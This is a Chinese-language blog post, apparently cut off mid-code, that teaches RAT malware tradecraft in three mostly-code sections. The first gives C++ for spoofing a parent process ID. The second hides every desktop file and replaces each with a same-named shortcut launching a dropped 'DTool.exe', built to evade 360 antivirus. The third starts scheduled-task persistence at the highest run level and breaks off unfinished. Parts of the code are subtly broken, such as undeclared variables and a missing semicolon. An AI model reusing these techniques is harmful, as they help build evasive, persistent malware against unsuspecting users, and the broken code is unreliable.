RAT 恶意软件的父进程检测绕过与权限维持持久免杀技术详解

# 一、RAT 父进程检测与绕过技术(一)
1. 监控父进程和子进程关系是威胁检测团队常用技术,异常的父子进程组合易被 EDR 检测


2. Windows API 的“CreateProcess”可传入参数分配父进程 PID,Didier Stevens 在 2009 年提出该技术并发布 C++编写的 POC(SelectMyParent)。

以下是 SelectMyParent 的示例代码:

#include <windows.h>
#include <stdio.h>

int main(int argc, char* argv[])
{
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    // 设置父进程 PID
    DWORD targetPid = atoi(argv[2]);
    STARTUPINFOEX siex = { 0 };
    SIZE_T attributeSize;
    InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
    siex.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
    InitializeProcThreadAttributeList(siex.lpAttributeList, 1, 0, &attributeSize);
    DWORD64 value = (DWORD64)targetPid;
    UpdateProcThreadAttribute(siex.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &value, sizeof(DWORD64), NULL, NULL);

    if (!CreateProcess(NULL, argv[1], NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si, &pi))
    {
        printf("CreateProcess failed (%d).\n", GetLastError());
        return -1;
    }

    // 等待子进程结束
    WaitForSingleObject(pi.hProcess, INFINITE);

    // 清理
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    DeleteProcThreadAttributeList(siex.lpAttributeList);
    HeapFree(GetProcessHeap(), 0, siex.lpAttributeList);

    return 0;
}

使用方法:`SelectMyParent.exe notepad 508`,可让记事本在指定 PID 的进程下创建。

# 二、RAT 父进程检测与绕过技术(二)
1. 利用快捷方式绕过 360 数字父进程查杀,代码包括多个函数:
   - `bypass_360_startup`:主函数,依次调用`if_need_infection`、`set_hide_directory`、`create_link`。
   - `if_need_infection`:检查指定路径下是否有文件需要感染。
   - `set_hide_directory`:设置指定路径下文件为隐藏属性。
   - `create_link`:在指定路径下为每个文件创建同名快捷方式,快捷方式指向特定路径下的“DTool.exe”,并设置快捷方式图标。以下是完整的代码:

#include <windows.h>
#include <tchar.h>
#include <iostream>
#include <vector>

class CSearchFile
{
public:
    std::vector<struct FileInfo> MyVectorFile;
    void SearchFile(TCHAR szFind[], TCHAR str_disk[])
    {
        WIN32_FIND_DATA FindFileData;
        HANDLE hFind;
        TCHAR szFullPath[MAX_PATH];
        _stprintf(szFullPath, _T("%s\\%s"), str_disk, szFind);
        hFind = FindFirstFile(szFullPath, &FindFileData);
        if (hFind == INVALID_HANDLE_VALUE)
            return;
        do
        {
            if (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
            {
                if (FindFileData.cFileName[0]!= '.')
                {
                    TCHAR szSubDir[MAX_PATH];
                    _stprintf(szSubDir, _T("%s\\%s"), str_disk, FindFileData.cFileName);
                    SearchFile(szFind, szSubDir);
                }
            }
            else
            {
                FileInfo file;
                _tcsncpy(file.szFilePath, str_disk, MAX_PATH);
                _tcsncat(file.szFilePath, _T("\\"), MAX_PATH);
                _tcsncat(file.szFilePath, FindFileData.cFileName, MAX_PATH);
                MyVectorFile.push_back(file);
            }
        } while (FindNextFile(hFind, &FindFileData)!= 0);
        FindClose(hFind);
    }
};

struct FileInfo
{
    TCHAR szFilePath[MAX_PATH];
};

int bypass_360_startup()
{
    TCHAR str_desktop[256];
    LPITEMIDLIST pidl;
    SHGetSpecialFolderLocation(NULL, CSIDL_DESKTOP, &pidl);
    SHGetPathFromIDList(pidl, str_desktop);

    if (if_need_infection(str_desktop) == 0)
    {
        OutputDebugStringA("bypass_360_startup if_need_infection return");
        return 0;
    }

    if (set_hide_directory(str_desktop) == 0)
    {
        OutputDebugStringA("bypass_360_startup set_hide_directory return");
        return 0;
    }

    if (create_link(str_desktop) == 0)
    {
        OutputDebugStringA("bypass_360_startup create_link return");
        return 0;
    }

    return 0;
}

int if_need_infection(TCHAR str_disk[])
{
    OutputDebugStringA("if_need_infection fun:");
    CSearchFile file;

    file.SearchFile(_T("."), str_disk);

    for (DWORD i = 0; i < file.MyVectorFile.size(); i++)
    {
        OutputDebugString(file.MyVectorFile[i].szFilePath);
    }

    if (file.MyVectorFile.size() > 0)
    {
        return 1;
    }

    return 0;
}

int set_hide_directory(TCHAR str_disk[])
{
    OutputDebugStringA("set_hide_directory fun:");
    CSearchFile file;

    file.SearchFile(_T("."), str_disk);

    for (DWORD i = 0; i < file.MyVectorFile.size(); i++)
    {
        SetFileAttributes(file.MyVectorFile[i].szFilePath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
        OutputDebugString(file.MyVectorFile[i].szFilePath);
    }

    return 1;
}

int create_link(TCHAR str_disk[])
{
    OutputDebugStringA("create_link fun:");
    CSearchFile file;

    file.SearchFile(_T("."), str_disk);

    for (DWORD i = 0; i < file.MyVectorFile.size(); i++)
    {
        TCHAR str_all_user_path[MAX_PATH] = { 0 };
        TCHAR str_exe_path[MAX_PATH] = { 0 };
        GetEnvironmentVariable(_T("ALLUSERSPROFILE"), str_all_user_path, MAX_PATH);
        _stprintf(str_exe_path, _T("%s\\updata\\DTool.exe"), str_all_user_path);

        TCHAR path_buffer[_MAX_PATH];
        _stprintf(path_buffer, _T("%s.lnk"), file.MyVectorFile[i].szFilePath);
        CreateLinkThenChangeIcon(str_exe_path, path_buffer);
    }

    return 1;
}

void CreateLinkThenChangeIcon(LPTSTR fname_to_create_link, LPTSTR lnk_fname)
{
    CoInitialize(0);

    HRESULT hres;
    IShellLink *psl = NULL;
    IPersistFile *pPf = NULL;
    WCHAR wsz[256];
    TCHAR buf[256];
    int id;
    LPITEMIDLIST pidl;

    hres = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLink, (LPVOID*)&psl);
    if (FAILED(hres))
        goto cleanup;
    hres = psl->QueryInterface(IID_IPersistFile, (LPVOID*)&pPf);
    if (FAILED(hres))
        goto cleanup;
    hres = psl->SetPath(fname_to_create_link);
    if (FAILED(hres))
        goto cleanup;

    SHGetSpecialFolderLocation(NULL, CSIDL_DESKTOP, &pidl);

    SHGetPathFromIDList(pidl, buf);

    lstrcat(buf, _T("\\"));
    lstrcat(buf, lnk_fname);

#ifdef UNICODE
    hres = pPf->Save(buf, TRUE);
#else
    MultiByteToWideChar(CP_ACP, 0, lnk_fname, -1, wsz, MAX_PATH);
    hres = pPf->Save(wsz, TRUE);
#endif

    if (FAILED(hres))
        goto cleanup;

    GetSystemDirectory(buf, 256);

    lstrcat(buf, _T("\\shell32.dll"));

    hres = psl->SetIconLocation(buf, 3);

    if (FAILED(hres))
        goto cleanup;

    hres = psl->GetIconLocation(buf, 256, &id);

    if (FAILED(hres))
        goto cleanup;

    pPf->Save(wsz, TRUE);

cleanup:

    if (pPf)
        pPf->Release();

    if (psl)
        psl->Release();

    CoUninitialize();
}

# 三、RAT 利用权限维持持久免杀(三)
1. 实现原理分为初始化、添加计划任务和删除计划任务三部分。
   - **初始化**:
     - 初始化 COM 接口,设置 COM 安全级别。
     - 创建 Task Service 对象并连接,获取 ITaskService 对象和 ITaskFolder 对象。
   - **CreateTask(添加计划任务)**:
     - 创建任务定义对象,设置注册信息(作者、描述等)、主体信息(登录类型、运行权限)、任务相关信息(启动条件等)、创建触发器、设置执行操作。
     - 在 ITaskFolder 对象注册任务。
   - **DeleteTask(删除计划任务)**:根据任务名字直接删除。以下是代码示例:

#include <windows.h>
#include <comdef.h>
#include <iostream>

int main()
{
    HRESULT hr;
    ITaskService* pService = NULL;
    ITaskFolder* pRootFolder = NULL;
    ITaskDefinition* pTask = NULL;
    IRegistrationInfo* pRegInfo = NULL;
    IPrincipal* pPrincipal = NULL;
    ITaskSettings* pSettings = NULL;
    ITriggerCollection* pTriggerCollection = NULL;
    ITrigger* pTrigger = NULL;
    IActionCollection* pActionCollection = NULL;
    IAction* pAction = NULL;
    IExecAction* pExecAction = NULL;
    IRegisteredTask* pRegisteredTask = NULL;

    // 初始化 COM
    hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
    if (FAILED(hr))
    {
        std::cerr << "CoInitializeEx failed. HRESULT = " << hr << std::endl;
        return -1;
    }

    // 设置 COM security levels.
    hr = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL);
    if (FAILED(hr))
    {
        std::cerr << "CoInitializeSecurity failed. HRESULT = " << hr << std::endl;
        CoUninitialize();
        return -1;
    }

    // 创建 Task Service 对象
    hr = CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (void**)&pService);
    if (FAILED(hr))
    {
        std::cerr << "CoCreateInstance for ITaskService failed. HRESULT = " << hr << std::endl;
        CoUninitialize();
        return -1;
    }

    // 连接到 Task Service
    hr = pService->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());
    if (FAILED(hr))
    {
        std::cerr << "ITaskService::Connect failed. HRESULT = " << hr << std::endl;
        if (pService)
            pService->Release();
        CoUninitialize();
        return -1;
    }

    hr = pService->GetFolder(_bstr_t(L"\\"), &pRootFolder);
    if (FAILED(hr))
    {
        std::cerr << "ITaskService::GetFolder failed. HRESULT = " << hr << std::endl;
        if (pService)
            pService->Release();
        CoUninitialize();
        return -1;
    }

    // 创建任务
    hr = pService->NewTask(0, &pTask);
    if (FAILED(hr))
    {
        std::cerr << "ITaskService::NewTask failed. HRESULT = " << hr << std::endl;
        if (pService)
            pService->Release();
        if (pRootFolder)
            pRootFolder->Release();
        CoUninitialize();
        return -1;
    }

    // 设置注册信息
    hr = pTask->get_RegistrationInfo(&pRegInfo);
    if (FAILED(hr))
    {
        std::cerr << "ITaskDefinition::get_RegistrationInfo failed. HRESULT = " << hr << std::endl;
        if (pTask)
            pTask->Release();
        if (pService)
            pService->Release();
        if (pRootFolder)
            pRootFolder->Release();
        CoUninitialize();
        return -1;
    }
    hr = pRegInfo->put_Author(_bstr_t(L"Author Name"));
    hr = pRegInfo->put_Description(_bstr_t(L"Task Description"));
    if (FAILED(hr))
    {
        std::cerr << "IRegistrationInfo::put_Author/put_Description failed. HRESULT = " << hr << std::endl;
        if (pRegInfo)
            pRegInfo->Release();
        if (pTask)
            pTask->Release();
        if (pService)
            pService->Release();
        if (pRootFolder)
            pRootFolder->Release();
        CoUninitialize();
        return -1;
    }

    // 设置主体信息
    hr = pTask->get_Principal(&pPrincipal);
    if (FAILED(hr))
    {
        std::cerr << "ITaskDefinition::get_Principal failed. HRESULT = " << hr << std::endl;
        if (pRegInfo)
            pRegInfo->Release();
        if (pTask)
            pTask->Release();
        if (pService)
            pService->Release();
        if (pRootFolder)
            pRootFolder->Release();
        CoUninitialize();
        return -1;
    }
    hr = pPrincipal->put_LogonType(TASK_LOGON_INTERACTIVE_TOKEN);
    hr = pPrincipal->put_RunLevel(TASK_RUNLEVEL_HIGHEST);
    if (FAILED(hr))
    {
        std::cerr << "IPrincipal::put_LogonType/put_RunLevel failed. HRESULT = " << hr << std::endl;
        if (pPrincipal)
            pPrincipal->Release();
        if (pRegInfo)
            pRegInfo->Release();
        if (pTask)
            pTask->Release();
        if (pService)
            pService->Release();
        if (pRootFolder)
            pRootFolder->Release();
        CoUninitialize();
        return -1;
    }

    // 设置任务相关信息
    hr = pTask->get_Settings(&pSettings);
    if (FAILED(hr))
    {
        std::cerr << "ITaskDefinition::get_Settings failed. HRESULT = " << hr << std::endl;
        if (pPrincipal)
            pPrincipal->Release();
        if (pRegInfo)
            pRegInfo->Release();
        if (pTask)
            pTask->Release();
        if (pService)
            pService->Release();
        if (pRootFolder)
            pRootFolder->Release();
        CoUninitialize();
        return -1;
    }
    hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
    hr = pSettings->get_IdleSettings(&pIdleSettings);
    if (FAILED(hr))
    {
        std::cerr << "ITaskSettings::put_StartWhenAvailable/get_IdleSettings failed. HRESULT = " << hr << std::endl;
        if (pSettings)
            pSettings->Release();
        if (pPrincipal)
            pPrincipal->Release();
        if (pRegInfo)
            pRegInfo->Release();
        if (pTask)
            pTask->Release();
        if (pService)
            pService->Release();
        if (pRootFolder)
            pRootFolder->Release();
        CoUninitialize();
        return -1;
    }

    // 创建触发器
    hr = pTask->get_Triggers(&pTriggerCollection)

  • 4
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值